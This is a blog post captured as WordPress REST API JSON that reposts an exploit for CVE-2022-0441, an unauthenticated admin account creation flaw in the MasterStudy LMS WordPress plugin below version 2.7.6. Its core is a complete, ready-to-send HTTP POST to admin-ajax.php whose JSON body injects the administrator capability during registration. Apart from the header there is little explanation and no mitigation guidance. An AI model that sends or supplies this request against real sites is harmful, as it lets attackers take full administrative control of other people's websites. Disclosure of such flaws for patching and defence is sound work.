# Title: WordPress Plugin MasterStudy LMS 2.7.5 – Unauthenticated Admin Account Creation
\n# Date: 16.02.2022
\n# Author: Numan T\u00fcrle
\n# CVE: CVE-2022-0441
\n# Software Link: https:\/\/wordpress.org\/plugins\/masterstudy-lms-learning-management-system\/
\n# Version: <2.7.6
\n# https:\/\/www.youtube.com\/watch?v=SI_O6CHXMZk
\n# https:\/\/gist.github.com\/numanturle\/4762b497d3b56f1a399ea69aa02522a6
\n# https:\/\/wpscan.com\/vulnerability\/173c2efe-ee9c-4539-852f-c242b4f728ed<\/p>\n
POST \/wp-admin\/admin-ajax.php?action=stm_lms_register&nonce=[NONCE] HTTP\/1.1
\nConnection: close
\nAccept: application\/json, text\/javascript, *\/*; q=0.01
\nX-Requested-With: XMLHttpRequest
\nAccept-Encoding: gzip, deflate
\nAccept-Language: tr,en;q=0.9,tr-TR;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4
\nContent-Type: application\/json
\nContent-Length: 339<\/p>\n
{“user_login”:”USERNAME”,”user_email”:”EMAIL@TLD”,”user_password”:”PASSWORD”,”user_password_re”:”PASSWORD”,”become_instructor”:””,”privacy_policy”:true,”degree”:””,”expertize”:””,”auditory”:””,”additional”:[],”additional_instructors”:[],”profile_default_fields_for_register”:{“wp_capabilities”:{“value”:{“administrator”:1}}}}<\/p>\n","protected":false},"excerpt":{"rendered":"
# Title: WordPress Plugin MasterStudy LMS 2.7.5 – Unauthenticated Admin Account Creation # Date: 16.02.2022 # Author: Numan T\u00fcrle # CVE: CVE-2022-0441 # Software Link: https:\/\/wordpress.org\/plugins\/masterstudy-lms-learning-management-system\/ # Version: <2.7.6 # https:\/\/www.youtube.com\/watch?v=SI_O6CHXMZk # https:\/\/gist.github.com\/numanturle\/4762b497d3b56f1a399ea69aa02522a6 # https:\/\/wpscan.com\/vulnerability\/173c2efe-ee9c-4539-852f-c242b4f728ed POST \/wp-admin\/admin-ajax.php?action=stm_lms_register&nonce=[NONCE] HTTP\/1.1 Connection: close Accept: application\/json, text\/javascript, *\/*; q=0.01 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip, deflate Accept-Language: tr,en;q=0.9,tr-TR;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4 Content-Type: application\/json Content-Length: …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20950","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20950","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20950"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20950\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20950"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20950"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20950"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}